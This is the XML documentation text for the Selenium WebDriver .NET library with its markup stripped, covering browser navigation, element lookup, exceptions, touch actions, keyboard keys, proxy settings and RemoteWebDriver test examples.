redirects issued either by the server or + as a meta-redirect from within the returned HTML. Should a meta-redirect "rest" + for any duration of time, it is best to wait until this timeout is over, since + should the underlying page change while your test is executing the results of + future calls against this interface will be against the freshly loaded page. + + + + + Load a new web page in the current browser window. + + The URL to load. + + Calling the method will load a new web page in the current browser window. + This is done using an HTTP GET operation, and the method will block until the + load is complete. This will follow redirects issued either by the server or + as a meta-redirect from within the returned HTML. Should a meta-redirect "rest" + for any duration of time, it is best to wait until this timeout is over, since + should the underlying page change while your test is executing the results of + future calls against this interface will be against the freshly loaded page. + + + + + Refreshes the current page. + + + + + The exception that is thrown when the users attempts to set a cookie with an invalid domain. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when a reference to an element is no longer valid. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when an element is not visible. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + Defines an interface allowing the user to set options on the browser. + + + + + Provides access to the timeouts defined for this driver. + + An object implementing the interface. + + + + Gets an object allowing the user to manipulate cookies on the page. + + + + + Gets an object allowing the user to manipulate the currently-focused browser window. + + "Currently-focused" is defined as the browser window having the window handle + returned when IWebDriver.CurrentWindowHandle is called. + + + + Represents rotation of the browser view for orientation-sensitive devices. + When using this with a real device, the device should not be moved so that + the built-in sensors do not interfere. + + + + + Gets or sets the screen orientation of the browser on the device. + + + + + Defines the interface used to search for elements. + + + + + Finds the first using the given method. + + The locating mechanism to use. + The first matching on the current context. + If no element matches the criteria. + + + + Finds all IWebElements within the current context + using the given mechanism. + + The locating mechanism to use. + A of all WebElements + matching the current criteria, or an empty list if nothing matches. + + + + Defines the interface used to take screen shot images of the screen. + + + + + Gets a object representing the image of the page on the screen. + + A object containing the image. + + + + Defines the interface through which the user can locate a given frame or window. + + + + + Select a frame by its (zero-based) index. + + The zero-based index of the frame to select. + An instance focused on the specified frame. + If the frame cannot be found. + + + + Select a frame by its name or ID. + + The name of the frame to select. + An instance focused on the specified frame. + If the frame cannot be found. + + + + Select a frame using its previously located + The frame element to switch to. + An instance focused on the specified frame. + If the element is neither a FRAME nor an IFRAME element. + If the element is no longer valid. + + + + Switches the focus of future commands for this driver to the window with the given name. + + The name of the window to select. + An instance focused on the given window. + If the window cannot be found. + + + + Selects either the first frame on the page or the main document when a page contains iFrames. + + An instance focused on the default frame. + + + + Switches to the element that currently has the focus, or the body element + if no element with focus can be detected. + + An instance representing the element + with the focus, or the body element if no element with focus can be detected. + + + + Switches to the currently active modal dialog for this particular driver instance. + + A handle to the dialog. + + + + Defines the interface through which the user can define timeouts. + + + + + Specifies the amount of time the driver should wait when searching for an + element if it is not immediately present. + + A structure defining the amount of time to wait. + A self reference + + When searching for a single element, the driver should poll the page + until the element has been found, or this timeout expires before throwing + a . When searching for multiple elements, + the driver should poll the page until at least one element has been found + or this timeout has expired. + + Increasing the implicit wait timeout should be used judiciously as it + will have an adverse effect on test run time, especially when used with + slower location strategies like XPath. + + + + + Specifies the amount of time the driver should wait when executing JavaScript asynchronously. + + A structure defining the amount of time to wait. + Setting this parameter to will allow the script to run indefinitely. + A self reference + + + + Specifies the amount of time the driver should wait for a page to load when setting the property. + + A structure defining the amount of time to wait. + Setting this parameter to will allow the page to load indefinitely. + A self reference + + + + Interface representing basic touch screen operations. + + + + + Allows the execution of single tap on the screen, analogous to click using a Mouse. + + The object representing the location on the screen, + usually an . + + + + Allows the execution of the gesture 'down' on the screen. It is typically the first of a + sequence of touch gestures. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Allows the execution of the gesture 'up' on the screen. It is typically the last of a + sequence of touch gestures. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Allows the execution of the gesture 'move' on the screen. + + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Creates a scroll gesture that starts on a particular screen location. + + The object representing the location on the screen + where the scroll starts, usually an . + The x coordinate relative to the view port. + The y coordinate relative to the view port. + + + + Creates a scroll gesture for a particular x and y offset. + + The horizontal offset relative to the view port. + The vertical offset relative to the view port. + + + + Allows the execution of double tap on the screen, analogous to click using a Mouse. + + The object representing the location on the screen, + usually an . + + + + Allows the execution of a long press gesture on the screen. + + The object representing the location on the screen, + usually an . + + + + Creates a flick gesture for the current view. + + The horizontal speed in pixels per second. + The vertical speed in pixels per second. + + + + Creates a flick gesture for the current view starting at a specific location. + + The object representing the location on the screen + where the scroll starts, usually an . + The x offset relative to the viewport. + The y offset relative to the viewport. + The speed in pixels per second. + + + + Defines the interface through which the user controls the browser. + + + The interface is the main interface to use for testing, which + represents an idealized web browser. The methods in this class fall into three categories: + Control of the browser itselfSelection of IWebElementsDebugging aids + Key properties and methods are , which is used to + load a new web page by setting the property, and the various methods similar + to , which is used to find IWebElements. + + You use the interface by instantiate drivers that implement of this interface. + You should write your tests against this interface so that you may "swap in" a + more fully featured browser when there is a requirement for one. + + + + + Close the current window, quitting the browser if it is the last window currently open. + + + + + Quits this driver, closing every associated window. + + + + + Instructs the driver to change its settings. + + An object allowing the user to change + the settings of the driver. + + + + Instructs the driver to navigate the browser to another location. + + An object allowing the user to access + the browser's history and to navigate to a given URL. + + + + Instructs the driver to send future commands to a different frame or window. + + An object which can be used to select + a frame or window. + + + + Gets or sets the URL the browser is currently displaying. + + + Setting the property will load a new web page in the current browser window. + This is done using an HTTP GET operation, and the method will block until the + load is complete. This will follow redirects issued either by the server or + as a meta-redirect from within the returned HTML. Should a meta-redirect "rest" + for any duration of time, it is best to wait until this timeout is over, since + should the underlying page change while your test is executing the results of + future calls against this interface will be against the freshly loaded page. + + + + + + + Gets the title of the current browser window. + + + + + Gets the source of the page last loaded by the browser. + + + If the page has been modified after loading (for example, by JavaScript) + there is no guarantee that the returned text is that of the modified page. + Please consult the documentation of the particular driver being used to + determine whether the returned text reflects the current state of the page + or the text last sent by the web server. The page source returned is a + representation of the underlying DOM: do not expect it to be formatted + or escaped in the same way as the response sent from the web server. + + + + + Gets the current window handle, which is an opaque handle to this + window that uniquely identifies it within this driver instance. + + + + + Gets the window handles of open browser windows. + + + + + Defines the interface through which the user controls elements on the page. + + The interface represents an HTML element. + Generally, all interesting operations to do with interacting with a page will + be performed through this interface. + + + + + Clears the content of this element. + + If this element is a text entry element, the + method will clear the value. It has no effect on other elements. Text entry elements + are defined as elements with INPUT or TEXTAREA tags. + Thrown when the target element is no longer valid in the document DOM. + + + + Simulates typing text into the element. + + The text to type into the element. + The text to be typed may include special characters like arrow keys, + backspaces, function keys, and so on. Valid special keys are defined in + . + + Thrown when the target element is not enabled. + Thrown when the target element is not visible. + Thrown when the target element is no longer valid in the document DOM. + + + + Submits this element to the web server. + + If this current element is a form, or an element within a form, + then this will be submitted to the web server. If this causes the current + page to change, then this method will block until the new page is loaded. + Thrown when the target element is no longer valid in the document DOM. + + + + Clicks this element. + + + + Click this element. If the click causes a new page to load, the + method will attempt to block until the page has loaded. After calling the + method, you should discard all references to this + element unless you know that the element and the page will still be present. + Otherwise, any further operations performed on this element will have an undefined. + behavior. + + + If this element is not clickable, then this operation is ignored. This allows you to + simulate a users to accidentally missing the target when clicking. + + + Thrown when the target element is not visible. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the value of the specified attribute for this element. + + The name of the attribute. + The attribute's current value. Returns a if the + value is not set. + The method will return the current value + of the attribute, even if the value has been modified after the page has been + loaded. Note that the value of the following attributes will be returned even if + there is no explicit attribute on the element: + Attribute nameValue returned if not explicitly specifiedValid element typescheckedcheckedCheck BoxselectedselectedOptions in Select elementsdisableddisabledInput and other UI elements + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the value of a CSS property of this element. + + The name of the CSS property to get the value of. + The value of the specified CSS property. + The value returned by the + method is likely to be unpredictable in a cross-browser environment. + Color values should be returned as hex strings. For example, a + "background-color" property set as "green" in the HTML source, will + return "#008000" for its value. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the tag name of this element. + + + The property returns the tag name of the + element, not the value of the name attribute. For example, it will return + "input" for an element specified by the HTML markup <input name="foo" />. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the innerText of this element, without any leading or trailing whitespace, + and with other whitespace collapsed. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a value indicating whether or not this element is enabled. + + The property will generally + return for everything except explicitly disabled input elements. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a value indicating whether or not this element is selected. + + This operation only applies to input elements such as checkboxes, + options in a select element and radio buttons. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a object containing the coordinates of the upper-left corner + of this element relative to the upper-left corner of the page. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a object containing the height and width of this element. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a value indicating whether or not this element is displayed. + + The property avoids the problem + of having to parse an element's "style" attribute to determine + visibility of an element. + Thrown when the target element is no longer valid in the document DOM. + + + + Provides methods for getting and setting the size and position of the browser window. + + + + + Maximizes the current window if it is not already maximized. + + + + + Gets or sets the position of the browser window relative to the upper-left corner of the screen. + + When setting this property, it should act as the JavaScript window.moveTo() method. + + + + Gets or sets the size of the outer browser window, including title bars and window borders. + + When setting this property, it should act as the JavaScript window.resizeTo() method. + + + + Representations of keys able to be pressed that are not text keys for sending to the browser. + + + + + Represents the NUL keystroke. + + + + + Represents the Cancel keystroke. + + + + + Represents the Help keystroke. + + + + + Represents the Backspace key. + + + + + Represents the Tab key. + + + + + Represents the Clear keystroke. + + + + + Represents the Return key. + + + + + Represents the Enter key. + + + + + Represents the Shift key. + + + + + Represents the Shift key. + + + + + Represents the Control key. + + + + + Represents the Control key. + + + + + Represents the Alt key. + + + + + Represents the Alt key. + + + + + Represents the Pause key. + + + + + Represents the Escape key. + + + + + Represents the Spacebar key. + + + + + Represents the Page Up key. + + + + + Represents the Page Down key. + + + + + Represents the End key. + + + + + Represents the Home key. + + + + + Represents the left arrow key. + + + + + Represents the left arrow key. + + + + + Represents the up arrow key. + + + + + Represents the up arrow key. + + + + + Represents the right arrow key. + + + + + Represents the right arrow key. + + + + + Represents the Left arrow key. + + + + + Represents the Left arrow key. + + + + + Represents the Insert key. + + + + + Represents the Delete key. + + + + + Represents the semi-colon key. + + + + + Represents the equal sign key. + + + + + Represents the number pad 0 key. + + + + + Represents the number pad 1 key. + + + + + Represents the number pad 2 key. + + + + + Represents the number pad 3 key. + + + + + Represents the number pad 4 key. + + + + + Represents the number pad 5 key. + + + + + Represents the number pad 6 key. + + + + + Represents the number pad 7 key. + + + + + Represents the number pad 8 key. + + + + + Represents the number pad 9 key. + + + + + Represents the number pad multiplication key. + + + + + Represents the number pad addition key. + + + + + Represents the number pad thousands separator key. + + + + + Represents the number pad subtraction key. + + + + + Represents the number pad decimal separator key. + + + + + Represents the number pad division key. + + + + + Represents the function key F1. + + + + + Represents the function key F2. + + + + + Represents the function key F3. + + + + + Represents the function key F4. + + + + + Represents the function key F5. + + + + + Represents the function key F6. + + + + + Represents the function key F7. + + + + + Represents the function key F8. + + + + + Represents the function key F9. + + + + + Represents the function key F10. + + + + + Represents the function key F11. + + + + + Represents the function key F12. + + + + + Represents the function key META. + + + + + Represents the function key COMMAND. + + + + + The exception that is thrown when an item is not found. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when an alert is not found. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when an element is not found. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when a frame is not found. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when a window is not found. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + Represents the known and supported Platforms that WebDriver runs on. + + The class maps closely to the Operating System, + but differs slightly, because this class is used to extract information such as + program locations and line endings. + + + + Any platform. This value is never returned by a driver, but can be used to find + drivers with certain capabilities. + + + + + Any version of Microsoft Windows. This value is never returned by a driver, + but can be used to find drivers with certain capabilities. + + + + + Any Windows NT-based version of Microsoft Windows. This value is never returned + by a driver, but can be used to find drivers with certain capabilities. This value + is equivalent to PlatformType.Windows. + + + + + Versions of Microsoft Windows that are compatible with Windows XP. + + + + + Versions of Microsoft Windows that are compatible with Windows Vista. + + + + + Any version of the Macintosh OS + + + + + Any version of the Unix operating system. + + + + + Any version of the Linux operating system. + + + + + A version of the Android mobile operating system. + + + + + Represents the platform on which tests are to be run. + + + + + Initializes a new instance of the class for a specific platform type. + + The platform type. + + + + Compares the platform to the specified type. + + A value to compare to. + + if the platforms match; otherwise . + + + + Gets the current platform. + + + + + Gets the major version of the platform operating system. + + + + + Gets the major version of the platform operating system. + + + + + Gets the type of the platform. + + + + + Describes the kind of proxy. + + + Keep these in sync with the Firefox preferences numbers: + http://kb.mozillazine.org/Network.proxy.type + + + + + Direct connection, no proxy (default on Windows). + + + + + Manual proxy settings (e.g., for httpProxy). + + + + + Proxy automatic configuration from URL. + + + + + Use proxy automatic detection. + + + + + Use the system values for proxy settings (default on Linux). + + + + + No proxy type is specified. + + + + + Describes proxy settings to be used with a driver instance. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the given proxy settings. + + A dictionary of settings to use with the proxy. + + + + Gets or sets the type of proxy. + + + + + Gets the type of proxy as a string for JSON serialization. + + + + + Gets or sets a value indicating whether the proxy uses automatic detection. + + + + + Gets or sets the value of the proxy for the FTP protocol. + + + + + Gets or sets the value of the proxy for the HTTP protocol. + + + + + Gets or sets the value for bypass proxy addresses. + + + + + Gets or sets the URL used for proxy automatic configuration. + + + + + Gets or sets the value of the proxy for the SSL protocol. + + + + + Gets or sets the value of the proxy for the SOCKS protocol. + + + + + Gets or sets the value of username for the SOCKS proxy. + + + + + Gets or sets the value of password for the SOCKS proxy. + + + + + Represents possible screen orientations. + + + + + Represents a portrait mode, where the screen is vertical. + + + + + Represents Landscape mode, where the screen is horizontal. + + + + + Represents an image of the page currently loaded in the browser. + + + + + Initializes a new instance of the class. + + The image of the page as a Base64-encoded string. + + + + Saves the screenshot to a file, overwriting the file if it already exists. + + The full path and file name to save the screenshot to. + A object indicating the format + to save the image to. + + + + Returns a String that represents the current Object. + + A String that represents the current Object. + + + + Gets the value of the screenshot image as a Base64-encoded string. + + + + + Gets the value of the screenshot image as an array of bytes. + + + + + The exception that is thrown when a reference to an element is no longer valid. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when the user is unable to set a cookie. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when an unhandled alert is present. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and alert text. + + The message that describes the error. + The text of the unhandled alert. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + Populates a SerializationInfo with the data needed to serialize the target object. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + Gets the that has not been handled. + + + + + Gets the text of the unhandled alert. + + + + + Specifies return values for actions in the driver. + + + + + The action was successful. + + + + + The index specified for the action was out of the acceptable range. + + + + + No collection was specified. + + + + + No string was specified. + + + + + No string length was specified. + + + + + No string wrapper was specified. + + + + + No driver matching the criteria exists. + + + + + No element matching the criteria exists. + + + + + No frame matching the criteria exists. + + + + + The functionality is not supported. + + + + + The specified element is no longer valid. + + + + + The specified element is not displayed. + + + + + The specified element is not enabled. + + + + + An unhandled error occurred. + + + + + An error occurred, but it was expected. + + + + + The specified element is not selected. + + + + + No document matching the criteria exists. + + + + + An unexpected JavaScript error occurred. + + + + + No result is available from the JavaScript execution. + + + + + The result from the JavaScript execution is not recognized. + + + + + No collection matching the criteria exists. + + + + + A timeout occurred. + + + + + A null pointer was received. + + + + + No window matching the criteria exists. + + + + + An illegal attempt was made to set a cookie under a different domain than the current page. + + + + + A request to set a cookie's value could not be satisfied. + + + + + An alert was found open unexpectedly. + + + + + A request was made to switch to an alert, but no alert is currently open. + + + + + An asynchronous JavaScript execution timed out. + + + + + The coordinates of the element are invalid. + + + + + The selector used (CSS/XPath) was invalid. + + + + + Represents exceptions that are thrown when an error occurs during actions. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when an error occurs during an XPath lookup. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + Defines the interface through which the user finds elements by their ID. + + + + + Finds the first element matching the specified id. + + The id to match. + The first matching the criteria. + + + + Finds all elements matching the specified id. + + The id to match. + A containing all + IWebElements matching the criteria. + + + + Defines the interface through which the user finds elements by their CSS class. + + + + + Finds the first element matching the specified CSS class. + + The CSS class to match. + The first matching the criteria. + + + + Finds all elements matching the specified CSS class. + + The CSS class to match. + A containing all + IWebElements matching the criteria. + + + + Defines the interface through which the user finds elements by their link text. + + + + + Finds the first element matching the specified link text. + + The link text to match. + The first matching the criteria. + + + + Finds all elements matching the specified link text. + + The link text to match. + A containing all + IWebElements matching the criteria. + + + + Defines the interface through which the user finds elements by their name. + + + + + Finds the first element matching the specified name. + + The name to match. + The first matching the criteria. + + + + Finds all elements matching the specified name. + + The name to match. + A containing all + IWebElements matching the criteria. + + + + Defines the interface through which the user finds elements by their tag name. + + + + + Finds the first element matching the specified tag name. + + The tag name to match. + The first matching the criteria. + + + + Finds all elements matching the specified tag name. + + The tag name to match. + A containing all + IWebElements matching the criteria. + + + + Defines the interface through which the user finds elements by XPath. + + + + + Finds the first element matching the specified XPath query. + + The XPath query to match. + The first matching the criteria. + + + + Finds all elements matching the specified XPath query. + + The XPath query to match. + A containing all + IWebElements matching the criteria. + + + + Defines the interface through which the user finds elements by a partial match on their link text. + + + + + Finds the first element matching the specified partial link text. + + The partial link text to match. + The first matching the criteria. + + + + Finds all elements matching the specified partial link text. + + The partial link text to match. + A containing all + IWebElements matching the criteria. + + + + Defines the interface through which the user finds elements by their cascading style sheet (CSS) selector. + + + + + Finds the first element matching the specified CSS selector. + + The id to match. + The first matching the criteria. + + + + Finds all elements matching the specified CSS selector. + + The CSS selector to match. + A containing all + IWebElements matching the criteria. + + + + Provides a way to use the driver through + + /// + [TestFixture] + public class Testing + { + private IWebDriver driver; + + [SetUp] + public void SetUp() + { + driver = new RemoteWebDriver(new Uri("http://127.0.0.1:4444/wd/hub"),DesiredCapabilities.InternetExplorer()); + } + + [Test] + public void TestGoogle() + { + driver.Navigate().GoToUrl("http://www.google.co.uk"); + /* + * Rest of the test + */ + } + + [TearDown] + public void TearDown() + { + driver.Quit(); + } + } + + + + The default command timeout for HTTP requests in a RemoteWebDriver instance. + + + + + Initializes a new instance of the RemoteWebDriver class + + An object which executes commands for the driver. + An object containing the desired capabilities of the browser. + + + + Initializes a new instance of the RemoteWebDriver class. This constructor defaults proxy to http://127.0.0.1:4444/wd/hub + + An object containing the desired capabilities of the browser. + + + + Initializes a new instance of the RemoteWebDriver class + + URI containing the address of the WebDriver remote server (e.g. http://127.0.0.1:4444/wd/hub). + An object containing the desired capabilities of the browser. + + + + Initializes a new instance of the RemoteWebDriver class using the specified remote address, desired capabilities, and command timeout. + + URI containing the address of the WebDriver remote server (e.g. http://127.0.0.1:4444/wd/hub). + An object containing the desired capabilities of the browser. + The maximum amount of time to wait for each command. + + + + Finds the first element in the page that matches the object + + By mechanism to find the object + IWebElement object so that you can interact with that object + + + IWebDriver driver = new InternetExplorerDriver(); + IWebElement elem = driver.FindElement(By.Name("q")); + + + + + + Finds the elements on the page by using the object and returns a ReadOnlyCollection of the Elements on the page + + By mechanism to find the element + ReadOnlyCollection of IWebElement + + + IWebDriver driver = new InternetExplorerDriver(); + ReadOnlyCollection]]> classList = driver.FindElements(By.ClassName("class")); + + + + + + Closes the Browser + + + + + Close the Browser and Dispose of WebDriver + + + + + Method For getting an object to set the Speed + + Returns an IOptions object that allows the driver to set the speed and cookies and getting cookies + + + + IWebDriver driver = new InternetExplorerDriver(); + driver.Manage().GetCookies(); + + + + + + Method to allow you to Navigate with WebDriver + + Returns an INavigation Object that allows the driver to navigate in the browser + + + IWebDriver driver = new InternetExplorerDriver(); + driver.Navigate().GoToUrl("http://www.google.co.uk"); + + + + + + Method to give you access to switch frames and windows + + Returns an Object that allows you to Switch Frames and Windows + + + IWebDriver driver = new InternetExplorerDriver(); + driver.SwitchTo().Frame("FrameName"); + + + + + + Executes JavaScript in the context of the currently selected frame or window + + The JavaScript code to execute. + The arguments to the script. + The value returned by the script. + + + + Executes JavaScript asynchronously in the context of the currently selected frame or window. + + The JavaScript code to execute. + The arguments to the script. + The value returned by the script. + + + + Finds the first element in the page that matches the ID supplied + + ID of the element + IWebElement object so that you can interact with that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementById("id") + + + + + + Finds the first element in the page that matches the ID supplied + + ID of the Element + ReadOnlyCollection of Elements that match the object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsById("id") + + + + + + Finds the first element in the page that matches the CSS Class supplied + + className of the + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementByClassName("classname") + + + + + + Finds a list of elements that match the class name supplied + + CSS class Name on the element + ReadOnlyCollection of IWebElement object so that you can interact with those objects + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByClassName("classname") + + + + + + Finds the first of elements that match the link text supplied + + Link text of element + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementsByLinkText("linktext") + + + + + + Finds a list of elements that match the link text supplied + + Link text of element + ReadOnlyCollection]]> object so that you can interact with those objects + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByClassName("classname") + + + + + + Finds the first of elements that match the part of the link text supplied + + part of the link text + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementsByPartialLinkText("partOfLink") + + + + + + Finds a list of elements that match the class name supplied + + part of the link text + ReadOnlyCollection]]> objects so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByPartialLinkText("partOfTheLink") + + + + + + Finds the first of elements that match the name supplied + + Name of the element on the page + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + elem = driver.FindElementsByName("name") + + + + + + Finds a list of elements that match the name supplied + + Name of element + ReadOnlyCollect of IWebElement objects so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByName("name") + + + + + + Finds the first of elements that match the DOM Tag supplied + + DOM tag Name of the element being searched + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementsByTagName("tag") + + + + + + Finds a list of elements that match the DOM Tag supplied + + DOM tag Name of element being searched + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByTagName("tag") + + + + + + Finds the first of elements that match the XPath supplied + + xpath to the element + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementsByXPath("//table/tbody/tr/td/a"); + + + + + + Finds a list of elements that match the XPath supplied + + xpath to the element + ReadOnlyCollection of IWebElement objects so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByXpath("//tr/td/a") + + + + + + Finds the first element matching the specified CSS selector. + + The CSS selector to match. + The first matching the criteria. + + + + Finds all elements matching the specified CSS selector. + + The CSS selector to match. + A containing all + IWebElements matching the criteria. + + + + Dispose the RemoteWebDriver Instance + + + + + Executes commands with the driver + + Command that needs executing + Parameters needed for the command + WebDriver Response + + + + Find the element in the response + + Response from the browser + Element from the page + + + + Finds the elements that are in the response + + Response from the browser + Collection of elements + + + + Stops the client from running + + if its in the process of disposing + + + + Starts a session with the driver + + Capabilities of the browser + + + + Executes a command with this driver . + + A value representing the command to execute. + A containing the names and values of the parameters of the command. + A containing information about the success or failure of the command and any data returned by the command. + + + + Starts the command executor, enabling communication with the browser. + + + + + Stops the command executor, ending further communication with the browser. + + + + + Finds an element matching the given mechanism and value. + + The mechanism by which to find the element. + The value to use to search for the element. + The first matching the given criteria. + + + + Finds all elements matching the given mechanism and value. + + The mechanism by which to find the elements. + The value to use to search for the elements. + A collection of all of the IWebElements matching the given criteria. + + + + Creates a with the specified ID. + + The ID of this element. + A with the specified ID. + + + + Gets or sets the URL the browser is currently displaying. + + + + + + + + Gets the title of the current browser window. + + + + + Gets the source of the page last loaded by the browser. + + + + + Gets the current window handle, which is an opaque handle to this + window that uniquely identifies it within this driver instance. + + + + + Gets the window handles of open browser windows. + + + + + Gets an object for sending keystrokes to the browser. + + + + + Gets an object for sending mouse commands to the browser. + + + + + Gets the capabilities that the RemoteWebDriver instance is currently using + + + + + Gets or sets the responsible for detecting + sequences of keystrokes representing file paths and names. + + + + + Gets the which executes commands for this driver. + + + + + Gets the for the current session of this driver. + + + + + Provides a mechanism to write tests against an Android device + + + 